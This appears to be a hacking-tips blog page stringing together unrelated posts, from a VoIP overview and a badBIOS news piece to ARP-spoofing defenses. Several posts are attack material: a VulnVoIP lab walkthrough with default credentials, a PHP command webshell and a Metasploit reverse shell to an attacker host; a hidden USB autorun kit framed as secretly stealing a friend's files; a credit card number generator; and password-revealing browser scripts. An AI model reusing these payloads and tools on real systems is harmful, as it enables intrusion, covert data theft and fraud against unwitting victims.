Change Admin Password without knowing it

First of all, this is for educational purpose only! Most of my friends are asking me about this trick. The steps which I am going to post here are not working on Windows 8 but working for Windows 7 and Vista operating system. You need not to enter admin authentication to change the password!

Steps you have to perform

1. Go to My Computer and right click on Manage.


2. Then the Manage Window will open
3. Expand list for “Local Uses and Groups”. You will get two folders “Users” and “Groups”. Click on “Users”.

4. It now displays list of all the users present over that system. Right click on Admin account and select “Set Password”.

5. Enter “New Password” and “Confirm Password” then click on “Ok”.

If both password matches then you will get success message otherwise you have to verify passwords carefully!

Read More

VulnVoIP (Vulnerable VoIP) Solutions

As promised here we shall discuss a couple of ways to get root on VulnVoIP with some enumeration ‘fun’ in-between!
Assuming you’ve located the IP address, you can run a port scan and will find the following services listening (shortened for easy reference):

• 22/tcp open
• 53/tcp open domain
• 80/tcp open http
• 111/tcp open rpcbind
• 967/tcp open
• 3306/tcp open mysql
• 4445/tcp open
• 5038/tcp open asterisk

VoIP User Enumeration
In this demonstration I’m using SIPVicious to enumerate the SIP device/users and to help crack extension passwords.
The first thing to do is enumerate the end device. To do so we can use the command ./svmap.py –fingerprint 192.168.237.148

The next step is to locate valid SIP extensions. The initial command I used was ./svwar.py -D 192.168.237.148


As you can see no valid extensions are returned.
It’s possible to specify the method used in the request. In this particular instance the INVITE request brings back valid responses ./svwar.py -D -m INVITE 192.168.237.148

If all went well you should find that 6 extensions exist. The –D option used in the previous command just searches for default extensions, so it’s generally best to use a custom range. I also found that if I specified the extensions to scan, i.e. –e100-3000, only the lower extensions were found, hence it may be best to split up long scans.
Now that we’ve located extensions we really want to crack the associated passwords. Again SIPVicious can be used to perform this attack by using a command such as ./svcrack.py -u2000 -d passwords.txt 192.168.237.148

You might find that some extensions are easy to crack, others are a bit more testing! In this particular case, luckily, we have another unusual method of obtaining extension passwords.
Referring back to the port scan you can see that TCP port 5038 (Asterisk Call Manager) is open and available to external probes! If you performed a vulnerability scan this may have shown up stating that default credentials are in place.
It is possible to connect to the service using the telnet protocol on port 5038 with the default username admin and password amp111.

Using the command action with the actual command of sip show users it is possible to pull out a complete list of users, shown below:

The acm interface can also be used to locate voicemail users (useful for the next exercise!)

Note the ‘interesting’ information highlighted in the above image.
A thorough list of acm commands can be found here

Further Exploitation
As we’ve located a single user with voicemail capability, and we have the extension password, it is possible to use a soft-phone to log in with the credentials and attempt to gain access to the users voicemail inbox. For this particular example I’m using X-Lite.

Referencing Asterisk documentation it’s possible to see that *97 can be used to obtain voicemail. As we don’t know the voicemail password we’re going to have to bruteforce the manual way! Hint 0000 may get you in… In case you’re still struggling the voicemail goes along the lines of the following:

‘…Hey Mark, I think the support web access account has been compromised. I have changed the password to securesupport123 all one word and lowercase. You can log on at the usual address. See you in the morning…’

After listening to the voicemail you should now have the username and password for the support account. To test these out navigate to the HTTP interface and enter the credentials support/securesupport123

Upon login you’ll be presented with the main administrative interface. A key piece of info is found in the FreePBX version details (research for vulnerabilities).
One particular vulnerability of interest can be found here, of which an extract follows:

1. Create a directory such as: webshell
2. Create a PHP file webshell, i.e. webshell.php
   • Example.: <? if($_GET['cmd']) { system($_GET['cmd']); }?>
3. Put this file into the webshell directory and create a tarball.
   • This compressed file name needs to follow the given rule, i.e. name-version.tgz.
   • The following command can be used to compress: tar -czvf webshell-1.0.tgz webshell/.
4. Upload via the FreePBX modules interface

Using the webshell to perform a basic command (to ensure all is working as expected).

I used msfpayload to create a reverse shell for ease of access.
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.237.129 LPORT=4448 X > /root/vulnvoip/rev_shell.

The handler (exploit/multi/handler) was used to listen and wait for incoming connections.
TFTP can be used to upload the binary to the host using the PHP webshell as previously created, by using the command tftp *HOST_IP*-c get rev_shell.
Permissions of the uploaded file will need to be altered, i.e. chmod 777 rev_shell - not a great idea to use lax permissions like these in real life
Upon gaining access via the Meterpreter shell it makes things easier (continue reading)…

Local Privilege Escalation
The usual tips and tricks work here. A little surprise is hidden in the sudoers file. Firstly we’ll need to locate the current user by issuing the command id which will show the user is asterisk. Issuing the command sudo -l will then identify the commands that asterisk can run as root.

The user asterisk can surprisingly run nmap as root! There’s a little trick here…

We’ve got root!

Exploitation – The Easy Way!
The following was covered in detail by Offensive Security and the write-up can be found here.
The version of FreePBX in use is vulnerable to an arbitrary remote code execution issue. Further details can be found at exploitDB and Securityfocus.
From the reported details it is possible to see that a Metasploit module exists, this being exploit/unix/http/freepbx_callmenum.

Set the relevant options (note, the extension we use for this either has to go to voicemail or the call needs to be answered). For this exploit we’re going to use the support extension. We’ll assume that we haven’t yet cracked user credentials to any extensions and, this being the only one with voicemail, leaves us with just one choice.
Exploit!

We have root shell. Now how cool and easy was that!

There are a few more funky things we can do with VulnVoIP, such as SIP spoofing. However we’ll cover that in a separate post and in the meantime have some fun!

Read More

Steel Someone Secret File Using USB Flash Drive

Let’s say you and your friend are preparing for an all important exam that is going to decide the course the rest of your life takes. Your friend has some important notes on his computer that he isn’t going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway.

To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, “Hey, buddy! I have some great new music. Want it?”. Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act.
Sneaky, isn’t it? So let us prepare such a sinister USB Flash drive.
STEP 1
Open Notepad (I recommend Notepad++) and copy-paste the following lines.

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat

Save this as autorun.inf
The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.
The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.
The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.
STEP 2
Open Notepad again and copy-paste the following lines

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls

Save this as file.bat
This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.
The first file path “%USERPROFILE%\pictures” – is the target.
The second file path “%drive%\all\My pics” – is the destination.
STEP 3
Open Notepad once again and copy-paste the following line.

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

Save this as invisible.vbs
This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.
STEP 4
Open Notepad one last time and copy-paste the following line.

wscript.exe \invisible.vbs file.bat

Save this as launch.bat
This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.
STEP 5
Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.
This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your slave. It works flawlessly.

Read More

How to Use Remote Desktop in Windows 7

Steps

1. 1
   The first step to connecting the computers is to make sure that Windows Remote Desktop Connection is allowed through the firewall.
2. 
   2
   Open the Windows Start Menu, navigate to Computer and Right Click it to open the drop down menu. Click on Properties.
3. 
   3
   Navigate to Remote Settings
4. 
   4
   Select Allow connections from computers running any version of Remote Desktop(less secure) Click Ok or Apply. Do this on the computer you wish to connect to. Remember that only computers with Windows 7 Professional, Windows 7 Ultimate, Windows Vista Business, or Windows Vista Ultimate can be connected TO though you can connect FROM any version of Windows 7.
5. 
   5
   On the target computer that you wish to connect to we must discover its IPv4 Address(internet address). Open the start menu and type in the search box command prompt. Click command prompt to open.
6. 
   6
   Type ipconfig and press enter. In the list you will see "IPv4 Address. . . ." This will be the address of your target computer.
7. 
   7
   On your "client" computer open the start menu and type Remote Desktop and open Remote Desktop Connection.
8. 
   8
   In the open box type the IPv4 Address that you acquired from the target computer.
9. 
   9
   Windows will prompt you to enter your username and password that provides access to the target computer.
10. 10
    Your computer will likely show that there is a certificate problem but just connect anyway since its not a problem.
11. 11
    Congratulations! Your computer is now controlling another through Windows Remote Desktop Connection.

Read More

How to Reveal Hidden Passwords (Asterisks) in Web Browsers

Remember the situation, signing into your account with just a single click because browser is saving all your passwords for you. We know this is convenient but since you’re not typing your passwords any-more, eventually you’ll forget your password in a few days.  For security reasons, the password field in all browsers is masked with “asterisks” which won’t allow any third person (even you) to read the origi-nal typed password. But, what if you want to reveal the string behind the asterisks? There is actually few workaround for revealing the original passwords behind the asterisk and over the entire course of this article we’ll be discussing some known ways to reveal the characters behind the asterisks in different browsers.

Google Chrome:

Starting off with Google chrome, the easiest way to reveal the original passwords behind the asterisk is using inbuilt Inspect element feature in the browser.

• You just need to right click on the password field in the browser where you will get an option "Inspect Element". 
• After clicking on it, "Web Inspector" will open out and there you can see some code which is basically Html code and you just need to replace the "password" word with "text" word and it will reveal the words behind the asterisks.

There’s another way using JavaScript which is quite quick and easy as compared to above method. Just open a site that allows users to login and after typing the password, just enter the following JavaScript code in the address bar.

Javascript: alert(document.getElementById('Passwd').value);

After entering the above code in the address bar, press enter and it will pop up a window with your password written on it.

Mozilla Firefox:

The Next most common browser is "Mozilla Firefox".

• The chrome's "Web Inspector" trick is also applicable in Firefox.
•  Open a site that asks for login (like Facebook), right click on the password field in the browser where you will get an option "Inspect Element". After clicking on it, "Web Inspector" will open out and there you can see some code which is basically Html code and you just need to replace the "password" word with "text" word and it will reveal the words behind the asterisks as shown in screenshot below.

Apart from this, there’s another way which is quite quick and easy as compared to above method. For that you’ve to create a bookmark with the following JavaScript code as URL in it.

javascript:(function(){var s,F,j,f,i;s="";F=document.forms;for(j=0;j<F.length;++j){f=F[j];for(i=0;i<f.length;++i){if(f[i].type.toLowerCase()=="password")s+=f[i].value+"\n";}}if(s)alert("Password is:\n\n"+s);else alert("No passwords");})();

After saving this as a bookmark, open a site that allows users to login and after typing the password, open the saved bookmark by clicking on it and it will pop up a window with your password written on it.

Opera:

Next comes the "Opera" in that you can use "Dragonfly", which is an in built tool, to reveal the words behind the asterisks just like chrome's "Web Inspector". Open a site that asks for login (like
Facebook), right click on the password field in the browser and select "Inspect Element" option. After clicking on it, "Dragon Fly" will open out and you’ll see some code which is basically Html code and you just need to replace the "password" word with "text" word and it will reveal the words behind the asterisks as shown in screen shot below.

Internet Explorer:

In the same manner you can apply this trick on Internet explorer. First of all open any site (Gmail in our case) that allows user login. Now for bringing out “developer tools” press the f12 key. A new window will be opened and press Ctrl+B to enable selection of elements. After that go to login page and select the password field, doing this will take you to the password field’s code in developer window (highlighted by yellow). Now, you just need to replace the "password" word with "text" word and it will remove the asterisk mask in the password field, see screenshot below.

Apart from this, there’s another way which is quite quick and easy as compared to above method. Just open a site that allows users to login and after typing the password, just enter the following JavaScript code in the address bar.

alert(document.getElementById('Passwd').value);

After entering the above code in the address bar, press enter and it will pop up a window with your password written on it. (See pic below)

Wrap Up:

Although there are so many tools out there to help you in revealing the words behind the asterisks and to get the saved passwords with in a browser, you still need to keep your system safe and protected by using "Antivirus" plus "Firewall" to avoid stealing of these passwords by someone who have access to your system. If you can use these tools to reveal your saved passwords then others can also use the same ways to get information of yours.

Read More

Credit Card Generator by "ظیان میر"

Try IT At Your Risk
 

Generate Credit Cards using this software
*******************************




We Are Team IHA
**************






Things you need :



##########################################

six ( 6 ) Digit BIN numbers of Credit Cards .

example : 400115


Click Here to get the Bins : http://bit.ly/1gmZshx


##########################################





1. type the BIN number and press Enter .

example : 400115






2. type the amount , how many Credit Cards you want to generate

example : 6






3. Credit Cards Generated Successfully

example :

[+] 4001154445469220

[+] 4001154806678435

[+] 4001151229772795

[+] 4001155252048510

[+] 4001155565127845

[+] 4001155431496523

[+] Type: Visa





4. if you want to generate more Credit Cards press y ( yes ) or to exit press n ( No ) .



Download Link : http://bit.ly/1feAMEB



Admin
—

Read More

Protect Your Computer Against ARP Poison Attack

I wonder how many of you tried netCut after reading yesterday’s article? Don’t you find it kind of hard to believe that netCut has been available for so long yet so many computers is affected by this attack just because of the standard of ARP. Attacking computers with netCut seemed to be fun for script kiddies but the person who got cut is no fun at all.
If you felt that your Internet connection that is shared on network being cut off when others is working fine, then here is how you can determine whether if someone is really poisoning your ARP cache. Other than that, if you’re connected to a public wi-fi, you should protect your computer against these attacks. Even when you think you are on a paid wifi which seems to be safer, you’re wrong because someone could cut off your Internet and then spoof their computer as your computer to get free internet on a paid wifi.

I did some research on how to protect against netCut and here are a few working ones. Not all can protect against netCut, for example Anti Netcut by tools4free and StopCut. Both of these anti netcut tools doesn’t work and annoying as well because every once in a while, an advertisement window will popup. In fact I even got a warning from Comodo Firewall that Anti Netcut is trying to secretly connect to a FTP server. In the Arcai’s netcut Software 2.0, there is a checkbox “Protected My Computer” which supposedly to protect your computer against Arcai’s netcut Software but it didn’t work on my Windows XP SP3 computer.
A working third party software that can intercept ARP spoofing/ARP attacks/ARP poisoning, intercept IP Address conflict, prevent Dos attack, safety mode, ARP flow analysis, protect ARP cache, active defense, locate attacker and ARP virus cleaner is AntiARP.

There are 2 version of AntiARP which is the Personal Edition and the Server Edition. Unfortunately both versions are shareware. The Personal edition can only work on desktop operating system such as Windows 2000, XP and Vista. If you want to use it on Windows server based OS, then you have to go for the Server edition which cost more. It can automatically block netCut’s attack and also let you know who is the attacker.
So far I found out that the free Comodo Firewall is able to protect your computer against ARP poisoning but you have to enable it as it is disabled by default. Click on Firewall at the top bar and then click Advanced button at the left pane. Go to Attack Detection Settings and check “Protect the ARP Cache”.

As for Kaspersky Internet Security 2010 users, sorry to let you know that it doesn’t block netCut attacks.

Read More

What is VOIP

Introduction

VOIP is an acronym for Voice Over Internet Protocol, or in more common terms phone service over the Internet.
If you have a reasonable quality Internet connection you can get phone service delivered through your Internet connection instead of from your local phone company.

Some people use VOIP in addition to their traditional phone service, since VOIP service providers usually offer lower rates than traditional phone companies, but sometimes doesn't offer 911 service, phone directory listings, 411 service, or other common phone services. While many VoIP providers offer these services, consistent industry-wide means of offering these are still developing.

How does VOIP work?

A way is required to turn analog phone signals into digital signals that can be sent over the Internet.
This function can either be included into the phone itself (See: VOIP Phones) or in a separate box like an ATA .

VOIP Using an ATA

Ordinary Phone ---- ATA ---- Ethernet ---- Router ---- Internet ---- VOIP Service Provider

VOIP using an IP Phone

IP Phone ----- Ethernet ----- Router ---- Internet ---- VOIP Service Provider

VOIP connecting directly

It is also possible to bypass a VOIP Service Provider and directly connect to another VOIP user. However, if the VOIP devices are behind NAT routers, there may be problems with this approach.

IP Phone ----- Ethernet ----- Router ---- Internet ---- Router ---- Ethernet ---- IP Phone

Applications using VOIP

Traditional telephony applications, such as outbound call center applications and inbound IVR applications, normally can be run on VOIP.

Why use VOIP?

There are two major reasons to use VOIP

• Lower Cost
• Increased functionality

Lower Cost

In general phone service via VOIP costs less than equivalent service from traditional sources. This is largely a function of traditional phone services either being monopolies or government entities. There are also some cost savings due to using a single network to carry voice and data. This is especially true when users have existing under-utilized network capacity that they can use for VOIP without any additional costs.

In the most extreme case, users see VOIP phone calls (even international) as FREE. While there is a cost for their Internet service, using VOIP over this service may not involve any extra charges, so the users view the calls as free. There are a number of services that have sprung up to facilitate this type of "free" VOIP call. Examples are: Free World Dialup and Skype for a more complete list see: VOIP Service Providers

Increased Functionality

VOIP makes easy some things that are difficult to impossible with traditional phone networks.

• Incoming phone calls are automatically routed to your VOIP phone where ever you plug it into the network. Take your VOIP phone with you on a trip, and anywhere you connect it to the Internet, you can receive your incoming calls.
• Call center agents using VOIP phones can easily work from anywhere with a good Internet connection.

Read More

INCREASE YOUR INTERNET SPEED 100% WORKING

 IAM  GOING TO TELL U HOW TO INCREASE INTERNET SPEED
I ALSO CHEAK ITS WORK 100%

Read More

BadBIOS Malware: Reality or Hoax?

On Thursday, Ars Technica ran a story about badBIOS, a nasty piece of malware allegedly discovered three years ago by security consultant Dragos Ruiu on an Apple laptop. The malware is so sophisticated that some wonder if the story is real or just a hoax. The rootkit appears to be advanced and highly persistent, with “self-healing” capabilities. It can infect computers running almost any operating system by changing the device’s firmware, including the Basic Input/Output System (BIOS) and the Unified Extensible Firmware Interface (UEFI). It can spread even if the computer’s power cords and Ethernet cables are unplugged, and even if Wi-Fi and Bluetooth communications are disabled. It can even “jump air gaps” via computer speakers and microphones. The initial infection vector appears to be through USB drives, but this hasn’t been confirmed. The facts Dragos Ruiu is a reputable researcher. He is the organizer of CanSecWest and PacSec and the founder of Pwn2Own, the renowned hacking competition. Several other respected infosec professionals have vouched for him regarding badBIOS. Furthermore, Ars’ Dan Gooding, the editor who ran the story, says it’s not a Halloween hoax. “I have tried to make clear that many of the details of this article sounded far-fetched to me. They still do. I have also tried to be transparent that no one has independently corroborated Ruiu's findings. That said, these same details have been publicly available for more than two weeks, and a large number of Ruiu's peers find them believable,” Gooding noted. The story could also be true since the malware’s behavior and capabilities are technologically possible. Hackers can overwrite the BIOS flash memory, infection via USB is clearly plausible because there are numerous threats that use this method. In addition, covertly transmitting data across the network via IPv6 even when the protocol is disabled is also plausible. Communications via high definition audio is also possible. Errata Security’s Robert Graham provides details on each of these technical aspects. The questions While this could very well be a true story, there are several things that don’t add up. Researchers have seen advanced pieces of malware used in state-sponsored espionage operations, such as Flame or Stuxnet. However, the story as a whole simply sounds like something from Trend Micro’s 2020 web series. For one, Ruiu hasn’t presented any concrete evidence to demonstrate the existence of the badBIOS malware. Users on MetaFilter and Reddit have analyzed the claims and many of them point to a lot of questionable things. For instance, security expert Igor Skochinsky, who has dedicated much of his work to investigating rootkits, says he has analyzed the BIOS dump provided by Ruiu and he hasn’t found anything suspicious. Another suspicious thing is related to the USB infection. Ruiu says he will analyze the USB traffic more thoroughly once he gets his hands on some “expensive equipment.” As many point out, USB protocol analyzers are not very expensive. Jacob Kaplan-Moss, co-creator of Django, makes an interesting point on MetaFilter regarding communications via audio channels as described by Ruiu. “The theoretical bandwidth for audio-based networking is something like 600 bytes per second. (And I think to get that rate you'd need to send data in using audible frequencies, so you'd hear your speakers squealing like a modem),” Kaplan-Moss noted. “That's two seconds for a single TCP packet. It would take quite a long time to distribute anything, especially a virus as sophisticated as the one he's alleging,” he added. “If the ‘virus’ is really communicating over audio, the equipment necessary to detect this is even cheaper: a freaking microphone. He hasn't made any attempt to capture the ‘networking’; that's super-suspect.” So is badBIOS real or a hoax? Time will tell. Ruiu will either have to provide some concrete evidence or allow others to take a crack at the allegedly infected computers, or he’ll have to come forward with a confession. As some point out, another possible scenario is that Ruiu is not making this up. However, he might have simply misinterpreted the results of his research.

Read More